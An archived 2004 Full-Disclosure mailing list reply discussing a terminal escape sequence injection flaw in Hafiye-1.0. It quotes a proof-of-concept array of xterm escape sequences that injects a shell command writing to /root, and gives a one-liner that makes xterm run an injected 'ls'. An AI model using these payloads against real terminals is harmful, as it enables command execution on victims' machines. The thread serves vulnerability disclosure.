full-disclosure - Re: Hafiye-1.0 Terminal Escape Sequence Injection Vulnerability

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]

Message-ID: <412B79E2.1030503@gmx.net>
From: sakpolat at gmx.net (Serkan Akpolat)
Subject: Re: Hafiye-1.0 Terminal Escape Sequence Injection Vulnerability

Rodrigo Barbosa wrote:
> -----BEGIN PGP SIGNED MESSAGE-----
> Hash: SHA1
> 
> On Mon, Aug 23, 2004 at 09:32:15PM +0300, Serkan Akpolat wrote:
> 
>>char *esc_sequence[]= {"Escape Sequences",
>>                       "\x1b""]2;Insecure?""\x07\x0a",
>>                       "\x07\x07\x07\x07\x07\x07",
>>                       "\x1b""]2;;echo Owned > /root/Owned.txt"
>>                       "\x07\x1b""[21t""\x1b""]2;xterm""\x07"
>>                       "Abnormal Termination""\x1b"
>>                       "[8m;""\x0a"};
> 
> 
> Looks like a traditional ANSI escape code "exploit" (or should I say abuse ?).
> I would blame this on the terminal, nor on the Hafiye software itself.
> 
> []s
> 
> - -- 
> Rodrigo Barbosa <rodrigob@...spammers.org>
> "Quid quid Latine dictum sit, altum viditur"
> "Be excellent to each other ..." - Bill & Ted (Wyld Stallyns)
> 
> -----BEGIN PGP SIGNATURE-----
> Version: GnuPG v1.2.3 (GNU/Linux)
> 
> iD8DBQFBK2TPpdyWzQ5b5ckRAmQmAKCC/JHgqFew7X5MPg7JwIZWGT3ZywCfURNQ
> Lg02GiczNMHvLbitgXLSc6c=
> =qau0
> -----END PGP SIGNATURE-----
> 
> 

Well i would not blame this on terminal emulators.
And the escape sequences in the poc exploit i wrote are not related with 
  ANSI escape code "exploit".
They are features of terminal emulators.

echo -e "\e]2;;ls;\a\e[21t\abash-2.05b$\e[8m;"
You can try this one in xterm.You will see bash-2.05b$ , if you type 
some command and hit enter, "ls" command in the escape sequence will be 
executed too. (thanks to bloofar for the hint)

You can read more on  "TERMINAL EMULATOR SECURITY ISSUES" paper written 
by H D Moore. The paper also covers old vulnerabilities in terminal 
emulators.